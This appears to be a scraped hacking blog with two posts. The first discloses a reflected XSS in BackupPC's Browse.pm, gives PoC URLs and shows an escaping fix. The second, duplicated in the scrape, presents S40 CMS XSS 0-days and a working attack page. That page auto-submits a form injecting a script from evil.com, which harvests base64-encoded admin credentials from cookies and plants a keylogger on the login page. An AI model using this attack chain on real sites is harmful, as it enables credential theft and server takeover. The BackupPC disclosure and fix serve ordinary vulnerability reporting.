I dont normally make posts about XSS exploits unless there is some special circumstances. I picked this one because BackupPC is a popular network backup tool that you might find in networks all over the place and because there is no built in security you normally only find it on "secure" trusted networks.
So anyway the issue is in Browse.pm. It gets a num variable passed to it via get request, then displays the unsanitary input back to the user. So heres PoCs of both the vectors i found.
PoC 1: http://target.server/cgi-bin/BackupPC_Admin?action=browse&host=realhostneeded&num=1[XSS] - comes back as a valid request and runs XSS
PoC 2: http://target.server/cgi-bin/BackupPC_Admin?action=browse&host=realhostneeded&num=[XSS] - comes back as ERROR and runs XSS
Like most XSS holes its a easy fix, just edit line 55 in /usr/local/BackupPC/lib/BackupPC/CGI/Browse.pm to read like so:
my $num = ${EscHTML($In{num})};
or download this Browse.pm file and replace it with the one in /usr/local/BackupPC/lib/BackupPC/CGI/ on the installed server.
Ok thats it, peace.
Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts
Sunday, January 30, 2011
Monday, July 26, 2010
Using XSS to pwn
In this post i will go over how to pwn a server by exploiting just XSS. This is some what special circumstance but we will go over that a little later. I will also be targeting S40 CMS for this post and giving out a few XSS 0-days in the process :)
So our goal is to get the admin user name and password, but using XSS is not always the best way to go about it "note i said get login details not stealing sessions". Now due to some major security issues in S40 i can show you two ways to get the admin creds. If our victim checks the remember me box at the admin login page, S40 saves the user name and password "base64 encoded" in your cookie. Which brings us to our first XSS. S40 has a handy search function that happens to be open to XSS and allows for our entery point. Lets look at our attack code:
xss_attack.html #Remember we have to get our victim to visit this page.
[script languaje="JavaScript"]
function func(){
document.go.submit();
}
[/script]
[form action="http://s40.biz" name="go" method="POST"]
[input type='hidden' name='gsearchfield' value='"][script src=http://evil.com/xss.js][/script]']
[script]func();[/script]
The bold portion is our injection, the rest is just our form and javascript to auto submit. We see its including xss.js "Our XSS payload" from exil.com. Now xss.js's job is to get the cookie, scan it for login details and if it finds them, send them on to us. If not thats ok we can just move on to the next phase and have it inject more XSS in the user name "sfu" var in the cookie.
We do this because later when the victim goes to login, S40 will look in the cookie for user name and password data. Then if it finds data it push it into the appropriate input fields on the login page. So if we injected a key logger as our payload for the second phase, and the admin goes to login your payload gets run and you get the login details! There you have it, going from XSS to pwn. It just takes a perfect storm of XSS which is sadly all to common.
So our goal is to get the admin user name and password, but using XSS is not always the best way to go about it "note i said get login details not stealing sessions". Now due to some major security issues in S40 i can show you two ways to get the admin creds. If our victim checks the remember me box at the admin login page, S40 saves the user name and password "base64 encoded" in your cookie. Which brings us to our first XSS. S40 has a handy search function that happens to be open to XSS and allows for our entery point. Lets look at our attack code:
xss_attack.html #Remember we have to get our victim to visit this page.
[script languaje="JavaScript"]
function func(){
document.go.submit();
}
[/script]
[form action="http://s40.biz" name="go" method="POST"]
[input type='hidden' name='gsearchfield' value='"][script src=http://evil.com/xss.js][/script]']
[script]func();[/script]
The bold portion is our injection, the rest is just our form and javascript to auto submit. We see its including xss.js "Our XSS payload" from exil.com. Now xss.js's job is to get the cookie, scan it for login details and if it finds them, send them on to us. If not thats ok we can just move on to the next phase and have it inject more XSS in the user name "sfu" var in the cookie.
We do this because later when the victim goes to login, S40 will look in the cookie for user name and password data. Then if it finds data it push it into the appropriate input fields on the login page. So if we injected a key logger as our payload for the second phase, and the admin goes to login your payload gets run and you get the login details! There you have it, going from XSS to pwn. It just takes a perfect storm of XSS which is sadly all to common.
Subscribe to:
Posts (Atom)